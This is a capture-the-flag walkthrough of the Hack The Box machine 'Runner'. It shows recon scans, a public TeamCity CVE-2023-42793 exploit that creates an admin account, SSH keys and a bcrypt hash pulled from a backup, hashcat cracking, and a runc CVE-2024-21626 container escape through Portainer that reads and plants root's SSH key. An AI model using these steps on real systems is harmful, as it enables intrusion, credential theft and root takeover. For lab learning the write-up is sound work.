Runner writeup banner

Runner

Hack The Box Machine Writeup

Swimming > running

Swimming > running

Summary

Runner is a fun Linux box without many rabbit holes. I would consider it on the easy side of medium boxes with no part of it being overly complex. The user step attacks focus on a Teamcity installation and for root, exploiting a Portainer instance and docker containers. My one complaint is that teamcity is not in many of the common wordlists and it can be difficult to find the required vhost to progress.

To get user first the attacker must find the teamcity.runner.htb virtualhost. This is running a vulnerable version that allows for RCE and the creation of an admin account through public exploit scripts. This admin account can then be used to create a backup of the Teamcity application. In this backup is located a private SSH key that can be used with the John user to get a shell and grab user.txt

The root steps were a little bit more complicated then user on this machine. First the attacker must discover the Portainer container being run on a virtual host. Next The attacker must go back to the Teamcity backup and find a password hash for the Matthew user. This hash can then be cracked and the Matthew account can be used to login to the Portianer instance. enumerating the host it appears that the runC version is vulnerable to CVE-2024-21626. Using this we are able to create a docker container in Portainer with the working directory pointed to /proc/self/fd/7/. This essentially gives us a breakout as root and we can from there simply read root.txt and get root's SSH private key for a shell and box completion.

I'm not sure if CVE-2024-21626 is the intended route as the docker version appears like it is patched against the exploit. If it was not the intended route I'm guessing the intent was for the attacker to create a container and mount the main file system, another common container escape tactic.

Me running to play hack the box when new machines are released

Me running to play hack the box when new machines are released

User

Recon

Port scan with Nmap

I began as normal with an nmap scan to enumerate the target's port information. I use -sC to run default Nmap scripting engine enumeration scripts and -sV to run version enumeration. Running it with sudo defaults to a -sS stealth scan which is faster then the default -sT connect scan that runs without sudo socket permissions.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ sudo nmap -sC -sV 10.129.200.74
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-23 18:24 BST
Nmap scan report for 10.129.200.74
Host is up (0.041s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds

Wfuzz for virtual hosts

The Nmap scan revealed a virtual host at runner.htb. I added this to my /etc/hosts file and then used wfuzz to brute force scan for more subdomains. Run it one time to find the default responses and then hide them with --hh 154.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ wfuzz -u http://runner.htb -H "Host:FUZZ.runner.htb" -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt --hh 154
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://runner.htb/
Total requests: 1273833

=====================================================================
ID           Response   Lines    Word       Chars       Payload        
=====================================================================
<...>     
000460196:   401        1 L      9 W        66 Ch       "teamcity"     

I then added the teamcity.runner.htb virtual host to my /etc/hosts file. I had a problem originally finding the teamcity virtual host. I usually scan with the raft-words seclist wordlist but in this case it let me down as it did not contain the teamcity string. I personally don't like when things that are supposed to be found though bruteforce are not in most common lists in CTF boxes. This does a great job of emulating a real engagement however, where it is often very profitable to try a bunch of different word lists.

Port 80 webserver enumeration

Checking out the website on runner.htb we are presented with a fairly standard looking company page with tabs across the top: home, about and service that all link to anchors on the main page. There is also a button "get a quote” that is simply an email link to sales@runner.htb that is good to note.

Light mode hurts my eyes

Light mode hurts my eyes

There does not appear to be anything we can interact with. I ran a quick feroxbuster directory brute force scan but this also did not reveal anything of value.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ feroxbuster -u http://runner.htb/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-words.txt -q
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
<...>
Scanning: http://runner.htb/
Scanning: http://runner.htb/assets/
Scanning: http://runner.htb/assets/css/
Scanning: http://runner.htb/assets/js/
Scanning: http://runner.htb/assets/img/
Scanning: http://runner.htb/assets/vendor/waypoints/
Scanning: http://runner.htb/assets/img/person/
Scanning: http://runner.htb/assets/fonts/
Scanning: http://runner.htb/assets/img/blog/
Scanning: http://runner.htb/assets/vendor/wow/
Scanning: http://runner.htb/assets/img/clients/
Scanning: http://runner.htb/assets/vendor/animate/
Scanning: http://runner.htb/assets/vendor/owl-carousel/
Scanning: http://runner.htb/assets/vendor/
Scanning: http://runner.htb/assets/vendor/animateNumber/

Port 8000 webserver enumeration

The website on port 8000 appears to just return not found for the default route. Doing a bruteforce scan with feroxbuster reveals a couple more routes but nothing of great value. health simply returns ok and version returns 0.0.0-src

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ feroxbuster -u http://runner.htb:8000/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-words.txt -q
404      GET        1l        2w        9c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        1w        3c http://runner.htb:8000/health
200      GET        1l        1w        9c http://runner.htb:8000/version
Scanning: http://runner.htb:8000/

Teamcity CVE 2023-42793 Exploit

The Teamcity vhost presents us with a Teamcity instance login page. At the bottom we can see the version information.

Always try to find version numbers, version numbers are huge

Always try to find version numbers, version numbers are huge

Googling for Teamcity 2023.05.3 exploits quickly returns CVE 2023-42793 which is a RCE exploit that allows us to create an admin user without any credentials. I found a great POC on exploit-db. Downloading and running this we able able to create a new admin user and login to the Teamcity application.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ python team.py -u http://teamcity.runner.htb

=====================================================
*       CVE-2023-42793                              *
*  TeamCity Admin Account Creation                  *   
*                                                   *
*  Author: ByteHunter                               *
=====================================================

Token: eyJ0eXAiOiAiVENWMiJ9.cWhyZkx6R2ItZmFkNHRnQkFuRUxnTUlzSEFN.ZjZjNTAzN2UtNDIwMy00MGM1LWE1ZjItNWFkNmQ0M2E1MTg5
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminbX7N
Password: Main_password!!**
and just like that, we are in!

and just like that, we are in!

I hope superheroes have really good insurance

I hope superheroes have really good insurance

Teamcity Backup SSH Key

From here I looked around the teamcity instance and it clearly seemed pretty empty. When going to Administration -> Backup we are able to create a backup of the application however. My thought was that this backup might contain database information and credentials we can use to SSH into the machine.

always fully enumerate web application functionality

always fully enumerate web application functionality

Click the start backup button to create a new backup. All the default options are fine. Once it is done creating the backup a link to a zip folder will appear we can click to download it.

Backups are often gold mines for creds

Backups are often gold mines for creds

Unzipping the archive we are presented with a bunch of files. While just quickly looking through the file structure I came across an id_rsa file stored at /config/projects/AllProjects/pluginData.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop/TeamCity_Backup_20240423_174753]
└──╼ [★]$ ls -la
total 36
drwxr-xr-x 6 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 .
drwxr-xr-x 3 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 ..
-rw-r--r-- 1 htb-mp-904224 htb-mp-904224    6 Apr 23 17:47 charset
drwx------ 7 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 config
drwx------ 2 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 database_dump
-rw-r--r-- 1 htb-mp-904224 htb-mp-904224  630 Apr 23 17:47 export.report
drwx------ 2 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 metadata
drwx------ 3 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 system
-rw-r--r-- 1 htb-mp-904224 htb-mp-904224   92 Apr 23 17:47 version.txt

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop/TeamCity_Backup_20240423_174753/config/projects/AllProjects/pluginData/ssh_keys]
└──╼ [★]$ ls -la
total 12
drwx------ 2 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 .
drwx------ 3 htb-mp-904224 htb-mp-904224 4096 Apr 23 18:49 ..
-rw-r--r-- 1 htb-mp-904224 htb-mp-904224 2590 Feb 28 18:56 id_rsa

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop/TeamCity_Backup_20240423_174753/config/projects/AllProjects/pluginData/ssh_keys]
└──╼ [★]$ cat id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
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
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----
Wise words!

Wise words!

SSH as John

At this point I copied this into a key file. We now simply need a username to use the ssh key with and we should be able to get a shell on the box. To quickly enumerate the files in the backup for a username I used grep with a recursive search using -r.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop/TeamCity_Backup_20240423_174753]
└──╼ [★]$ grep -rw username
config/auth-config.dtd:    guest-username CDATA #IMPLIED
config/change-viewers.properties.dist:#   ${user} - VCS username of user who performed the commit
config/database.mysql.properties.dist:connectionProperties.user=<username>
<...>
database_dump/comments:201, -42, 1709746543407, "New username: \'admin\', new name: \'John\', new email: \'john@runner.htb\'"

Looks like we found a possible username of John. Using this with the private SSH key we found we are able to connect to runner.htb and grab user.txt, completing the user steps.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ chmod 600 key

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop]
└──╼ [★]$ ssh -i key john@runner.htb
The authenticity of host 'runner.htb (10.129.200.74)' can't be established.
ECDSA key fingerprint is SHA256:/GPlBWttNcxd3ra0zTlmXrcsc1JM6jwKYH5Bo5qE5DM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'runner.htb,10.129.200.74' (ECDSA) to the list of known 
<...>
john@runner:~$ cat user.txt
7091a0fd04734a3b79a3100b07094a01
Always rotate keys!

Always rotate keys!

Root

Enumeration

Doing some basic checks like sudo -l and looking for suid binaries with find did not turn up anything of value. In the home directory there is a second user, Matthew, that we will likely have to try to laterally move to. There is also a containerd folder and portainer folder in /opt.

sh
john@runner:/home$ ls
john  matthew

john@runner:/opt$ ls
containerd  portainer

Looking at ifconfig confirms that there is a docker container running on 172.17.0.1 but there are also a bunch of other strange connector stuff going on.

sh
john@runner:/opt$ ifconfig
br-21746deff6ac: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:6e:78:ab:d6  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:cbff:feb3:7d54  prefixlen 64  scopeid 0x20<link>
        ether 02:42:cb:b3:7d:54  txqueuelen 0  (Ethernet)
        RX packets 2733  bytes 6796295 (6.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3125  bytes 525754 (525.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.200.74  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 fe80::250:56ff:feb0:d143  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb0:d143  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b0:d1:43  txqueuelen 1000  (Ethernet)
        RX packets 1957942  bytes 350663425 (350.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1922971  bytes 757759825 (757.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 6722  bytes 7421533 (7.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6722  bytes 7421533 (7.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth17e8baf: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::c8e0:3eff:fe67:6a3d  prefixlen 64  scopeid 0x20<link>
        ether ca:e0:3e:67:6a:3d  txqueuelen 0  (Ethernet)
        RX packets 2733  bytes 6834557 (6.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3138  bytes 526736 (526.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Using netstat we are able to discover that there are alot of ports open locally, this might mean we will need to set up a tunnel to access them and is something to note as high priority for later.

sh
john@runner:/opt$ netstat -tlnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:9443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8111          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5005          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -    

One last thing I found through manual enumeration was another virtual host portainer-administration.runner.htb which seems to be running on the same ip ( 127.0.1.1) as the other web servers.

bash
john@runner:/opt$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

I added this to the /etc/hosts file on my attacking box and checked out the website. I expected this to be the administrative dashboard for the portainer container and was correct in my assessment.

I don't think this login page will stop us for long!

I don't think this login page will stop us for long!

It do be like that

It do be like that

Find Mathew Creds in Backup

Knowing that If I could get access to this dashboard I would likely be able to get to root by creating a new container and mounting the root filesystem. My priority was next trying to find creds to login with. Remembering that there is another Mathhew user on the box I figured that maybe I would be able to find some credentials for them in the Teamcity backup.

Once again using grep -r to recursively search the files in the directory I was quickly able to find a hash for the user.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop/TeamCity_Backup_20240423_174753]
└──╼ [★]$ grep -rw matthew
database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
database_dump/vcs_username:2, anyVcs, -1, 0, matthew

Looking at example hashes for hashcat I concluded this was likely a bcrypt hash and used -m 3200 to crack it with the rockyou wordlist. This hash took a little bit of time but eventually cracked to piper123

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-yfid9tu2jm]─[~/Desktop/TeamCity_Backup_20240423_174753]
└──╼ [★]$ hashcat -m 3200 '$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em' /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...
<...>

$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em:piper123
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGL...eVo.Em
Time.Started.....: Tue Apr 23 19:07:47 2024 (1 min, 17 secs)
Time.Estimated...: Tue Apr 23 19:09:04 2024 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      668 H/s (12.68ms) @ Accel:8 Loops:32 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 52032/14344385 (0.36%)
Rejected.........: 0/52032 (0.00%)
Restore.Point....: 52000/14344385 (0.36%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:96-128
Candidates.#1....: punisher1 -> photosynthesis

Started: Tue Apr 23 19:07:23 2024
Stopped: Tue Apr 23 19:09:06 2024

CVE-2024-21626 With Portainer

Now that we have creds for the Matthew user I tried them with both ssh and su to try to get a shell. Neither of those worked so I then tried the creds in the portainer instance and was able to get in. As described by their website: "Portainer is your container management software to deploy, troubleshoot, and secure applications across cloud, datacenter, and Industrial IoT use cases."

Only one environment it appears

Only one environment it appears

Looking around the Portainer instance we can see a lot of information such as the docker version:25.0.3 (API: 1.44) the host OS information linux x86_64 Ubuntu 22.04.4 LTS 5.15.0-102-generic and other useful tidbits. We can also see that there are two unused images, likely for us to use to create a new container as hack the box machines normally cant contact the internet.

Gimme all the version information!

Gimme all the version information!

Since we don't have internet on the host we will have to use these images

Since we don't have internet on the host we will have to use these images

At this point I spent quite some time googling around for docker container exploits since i know we should be able to exploit the ability to create a new container with Portainer to somehow reach root. I came across CVE-2024-21626 and an excellent article that describes an attack. This exploit allows us to set the working directory of a container to /proc/self/fd/ and use that escape as root on the main machine.

I then check to see if the version of runc is vulnerable and luckily 1.1.7 should fit. The docker version we have should be patched against the exploit as mentioned in the article however, so i'm not sure if this is the unintended path.

sh
john@runner:/opt$ runc --version
runc version 1.1.7-0ubuntu1~22.04.1
spec: 1.0.2-dev
go: go1.18.1
libseccomp: 2.5.3

the instructions from the post say

Set the working directory of the container to `/proc/self/fd/<fd>` (where `<fd>` stands for the file descriptor when opening `/sys/fs/cgroup` in host filesystem. Usually it’s 7 or 8) when running a container.

So I attempted that through Portainer by first going to containers -> add containers. Make sure to set the image to ubuntu:latest and the working dir to /proc/self/fd/7 and make sure to enable an interactive and tty console. Lastly, hit deploy the container.

Make sure to set everything correctly

Make sure to set everything correctly

Next click the name of the container and lastly hit console -> connect making sure to set the user as root. This will drop into a cli in the newly created container.

console -> connect

console -> connect

Huston, we have a container

Huston, we have a container

Now we simply need to cat out the root.txt file by using directory transversal to get root and complete the machine.

Got em

Got em

Containerception

Containerception

Root Shell

Simply getting the root flag is not as fun as a root shell though. In order to get a root shell all i had to do was use the same exploit as above but instead of reading root.txt I will grab roots ssh private key at .ssh/id_rsa

sh
root@2773b3bc56d1:.# cat ../../../../../../../../../../root/.ssh/id_rsa
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
-----BEGIN OPENSSH PRIVATE KEY-----
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
MqhvS/eaT9GrEAAAALcm9vdEBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----

We will also need to move the root users public key into the authorized_keys file as it is not yet there. This allows us to use the private key we just grabbed to SSH.

sh
root@2773b3bc56d1:../../../../root/.ssh# cat id_rsa.pub >> authorized_keys 
root@2773b3bc56d1:../../../../root/.ssh# cat authorized_keys  
